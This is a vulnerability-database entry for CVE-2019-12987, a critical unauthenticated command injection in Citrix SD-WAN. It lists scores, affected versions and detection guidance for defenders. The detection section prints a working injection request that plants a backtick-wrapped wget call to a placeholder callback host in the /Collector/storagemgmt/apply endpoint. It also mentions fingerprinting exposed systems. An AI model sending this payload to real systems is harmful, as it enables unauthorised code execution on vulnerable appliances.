cbcvebase.
CVE-2019-12987
published 2019-07-16

CVE-2019-12987: Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 3 of 6).

PriorityP187critical9.8CVSS 3.0
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
43.87%
98.6th percentile
Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 3 of 6).

Affected

6 ranges
VendorProductVersion rangeFixed in
citrixcitrix_sd-wan
citrixnetscaler_adc_gateway
citrixnetscaler_sd-wan>= 10.0 < 10.0.810.0.8
citrixsd-wan
citrixsd-wan>= 10.2 < 10.2.310.2.3
citrixxenserver

Detection & IOCsextracted from sources · hover to see the quote

url/Collector/storagemgmt/apply?data%5B0%5D%5Bhost%5D=%60/bin/wget+http://{{interactsh-url}}%60&data%5B0%5D%5Bpath%5D=mypath&data%5B0%5D%5Btype%5D=mytype
path/Collector/storagemgmt/apply
command/bin/wget http://{{interactsh-url}}
  • Detect exploitation attempts by monitoring HTTP GET requests to the path /Collector/storagemgmt/apply with array-style query parameters (data[0][host], data[0][path], data[0][type]) containing shell metacharacters such as backticks.
  • Use OAST/out-of-band interaction detection (e.g., interactsh) to confirm blind command injection via HTTP callback from the target server after injecting a wget command in the host parameter.
  • Fingerprint exposed Citrix SD-WAN management interfaces using Shodan, FOFA, or Google dorks before probing for the vulnerability.
  • The vulnerability is unauthenticated; no session cookie or prior login is required to reach the /Collector/storagemgmt/apply endpoint.
  • ·The vulnerable parameter values (host, path, type) are passed as URL-encoded array elements; WAF/IDS rules must decode percent-encoding (e.g., %5B → [, %5D → ]) to correctly match the attack pattern.
  • ·The callStoragePerl function is the specific sink; the injection occurs because HTTP request parameter values are used unsanitized to construct a shell command, so detection should focus on shell metacharacters (backticks, semicolons, pipes) in those parameters.
  • ·Affected versions are Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8; detections should be scoped to these version ranges.

CVSS provenance

nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.